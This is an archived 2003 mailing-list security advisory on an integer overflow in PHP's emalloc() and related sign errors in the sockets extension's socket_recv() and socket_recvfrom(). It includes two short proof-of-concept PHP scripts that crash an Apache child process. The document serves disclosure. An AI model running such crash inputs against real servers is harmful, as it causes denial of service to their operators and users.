@(#)Mordred Labs advisory - Integer overflow in PHP memory allocator

From: Sir Mordred (mordred@s-mail.com)
Date: Wed Mar 26 2003 - 04:38:36 PST

  • Next message: Martin Schulze: "[SECURITY] [DSA 269-1] New heimdal packages fix authentication failure"

    //@(#) Mordred Security Labs advisory
    
    Release date: March 26, 2003
    Name: Integer overflow in PHP memory allocator
    Versions affected: < 4.3.2
    Risk: very high
    Author: Sir Mordred (mordred@s-mail.com, http://mslabs.iwebland.com)
    
    I. Description:
    
    PHP is a widely-used general-purpose scripting language that is
    especially suited for Web development and can be embedded into HTML.
    Please visit http://www.php.net for more information about PHP.
    
    II. Details:
    
    In PHP emalloc() function implements the error safe wrapper around malloc().
    Unfortunately this function suffers from an integer overflow and
    considering the fact that emalloc() is used in many places around PHP
    source code, it may lead to many serious security issues.
    
    Here i will describe only a couple of minor issues in a PHP sockets
    extension.
    This extension is turned off by default and to enable it you should compile
    PHP
    with --enable-sockets option.
    
    * Issue 1 - Integer sign error in PHP socket_recv() function
    
    Requesting the following short script will cause a httpd child to die with
    the error message - child pid <pidnum> exit signal Segmentation fault (11)
    
    $ cat t1.php
    
    <?php
         $buf = "";
         socket_recv(socket_create(AF_INET, SOCK_STREAM, 0), $buf, -3, 0);
     ?>
    
    * Issue 2 - Integer sign error in PHP socket_recvfrom() function
    
    Requesting the following script will also cause a httpd child to die.
    
    $ cat t2.php
    
    <?php
         $buf = "";
         $name = "";
         socket_recvfrom(socket_create(AF_INET, SOCK_STREAM, 0), $buf, -3, 0,
     $name);
     ?>
    
    
    III. Platforms tested
    
    Linux 2.4 with Apache 1.3.27 / PHP 4.3.1
    
    III. Vendor response
    
    PHP developers notified, 4.3.2 will fix this issues.
    
    IV. Last words
    
    There has been response in which we were strongly advised to lower risk 
    level of this advisory to low or even very low, as long as we can't come up
    with an example of using emalloc(userinput) in PHP source code...
    We think that this is a provocative crap, and leave the risk level
    untouched.
    
    
    
    ________________________________________________________________________
    This letter has been delivered unencrypted. We'd like to remind you that
    the full protection of e-mail correspondence is provided by S-mail
    encryption mechanisms if only both, Sender and Recipient use S-mail.
    Register at S-mail.com: http://www.s-mail.com
    



    This archive was generated by hypermail 2b30 : Wed Mar 26 2003 - 13:41:20 PST